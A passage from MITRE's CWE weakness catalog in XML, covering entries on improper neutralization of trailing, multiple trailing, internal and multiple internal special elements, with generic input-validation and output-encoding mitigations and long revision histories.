               <Description>Developers should anticipate that trailing special elements will be injected/removed/manipulated in the input vectors of their product. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-5">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>
                  <xhtml:p>Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.</xhtml:p>
                  <xhtml:p>When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."</xhtml:p>
                  <xhtml:p>Do not rely exclusively on looking for malicious or malformed inputs.  This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-28">
               <Phase>Implementation</Phase>
               <Strategy>Output Encoding</Strategy>
               <Description>While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-20">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Trailing Special Element</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP24</Entry_ID>
               <Entry_Name>Tainted input to command</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="635"/>
         </Related_Attack_Patterns>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Trailing Special Element</Previous_Entry_Name>
            <Previous_Entry_Name Date="2009-05-27">Failure to Sanitize Trailing Special Element</Previous_Entry_Name>
            <Previous_Entry_Name Date="2010-04-05">Improper Sanitization of Trailing Special Elements</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="163" Name="Improper Neutralization of Multiple Trailing Special Elements" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes multiple trailing special elements that could be interpreted in unexpected ways when they are sent to a downstream component.</Description>
         <Extended_Description>As data is parsed, improperly handled multiple trailing special elements may cause the process to take unexpected actions that result in an attack.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="162" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Unexpected State</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Description>Developers should anticipate that multiple trailing special elements will be injected/removed/manipulated in the input vectors of their product. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-5">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>
                  <xhtml:p>Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.</xhtml:p>
                  <xhtml:p>When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."</xhtml:p>
                  <xhtml:p>Do not rely exclusively on looking for malicious or malformed inputs.  This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-28">
               <Phase>Implementation</Phase>
               <Strategy>Output Encoding</Strategy>
               <Description>While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-20">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Multiple Trailing Special Elements</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP24</Entry_ID>
               <Entry_Name>Tainted input to command</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Description, Name, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Multiple Trailing Special Elements</Previous_Entry_Name>
            <Previous_Entry_Name Date="2009-05-27">Failure to Sanitize Multiple Trailing Special Elements</Previous_Entry_Name>
            <Previous_Entry_Name Date="2010-04-05">Improper Sanitization of Multiple Trailing Special Elements</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="164" Name="Improper Neutralization of Internal Special Elements" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes internal special elements that could be interpreted in unexpected ways when they are sent to a downstream component.</Description>
         <Extended_Description>As data is parsed, improperly handled internal special elements may cause the process to take unexpected actions that result in an attack.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="138" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Unexpected State</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Description>Developers should anticipate that internal special elements will be injected/removed/manipulated in the input vectors of their product. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-5">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>
                  <xhtml:p>Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.</xhtml:p>
                  <xhtml:p>When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."</xhtml:p>
                  <xhtml:p>Do not rely exclusively on looking for malicious or malformed inputs.  This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-28">
               <Phase>Implementation</Phase>
               <Strategy>Output Encoding</Strategy>
               <Description>While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-20">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Internal Special Element</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP24</Entry_ID>
               <Entry_Name>Tainted input to command</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Internal Special Element</Previous_Entry_Name>
            <Previous_Entry_Name Date="2009-05-27">Failure to Sanitize Internal Special Element</Previous_Entry_Name>
            <Previous_Entry_Name Date="2010-04-05">Improper Sanitization of Internal Special Elements</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="165" Name="Improper Neutralization of Multiple Internal Special Elements" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes multiple internal special elements that could be interpreted in unexpected ways when they are sent to a downstream component.</Description>
         <Extended_Description>As data is parsed, improperly handled multiple internal special elements may cause the process to take unexpected actions that result in an attack.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="164" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Unexpected State</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Description>Developers should anticipate that multiple internal special elements will be injected/removed/manipulated in the input vectors of their product. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-5">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>
                  <xhtml:p>Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.</xhtml:p>
                  <xhtml:p>When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."</xhtml:p>
                  <xhtml:p>Do not rely exclusively on looking for malicious or malformed inputs.  This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-28">
               <Phase>Implementation</Phase>
               <Strategy>Output Encoding</Strategy>
               <Description>While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-20">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Multiple Internal Special Element</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP24</Entry_ID>
               <Entry_Name>Tainted input to command</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Description, Name, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
